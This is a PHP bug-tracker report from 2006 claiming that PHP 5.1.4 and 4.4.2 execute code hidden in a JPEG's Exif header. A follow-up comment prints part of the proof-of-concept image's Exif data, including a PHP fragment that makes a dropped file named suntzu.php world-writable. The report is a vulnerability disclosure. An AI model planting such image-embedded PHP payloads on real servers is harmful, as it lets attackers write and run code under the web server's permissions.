|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2006-05-16 21:25 UTC] paul at castlecops dot com
Description: ------------ Affected Versions: PHP 5.1.4 and 4.4.2 The PHP server evaluates code inside a technically valid JPEG's technically valid Exif header. It'll evaluate it even if exif is not compiled into PHP. Reproduce code: --------------- I need to attach it. Expected result: ---------------- The POC jpg will write a file to the filesystem and include whatever PHP code there is. Anything is possible given the permissions of the web server. Actual result: -------------- The POC jpg will write a file to the filesystem and include whatever PHP code there is. Anything is possible given the permissions of the web server. PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Oct 30 02:00:01 2025 UTC |
@pajoe: "Paul, we do not know Nir neither Poc. We are php.net, not Zend." "Poc" is proof of concept. I suspect you meant Nora? Tony should now have the jpg poc. Open it in notepad to see the PHP code. If you read the exif headers, this is what you'll see: FILE.FileName: phpJ4OyEi FILE.FileDateTime: 1147625054 FILE.FileSize: 552 FILE.FileType: 2 FILE.MimeType: image/jpeg FILE.SectionsFound: COMMENT COMPUTED.html: width="1" height="1" COMPUTED.Height: 1 COMPUTED.Width: 1 COMPUTED.IsColor: 1 COMMENT.0: "); fclose($fp); chmod("suntzu.php",777); ?>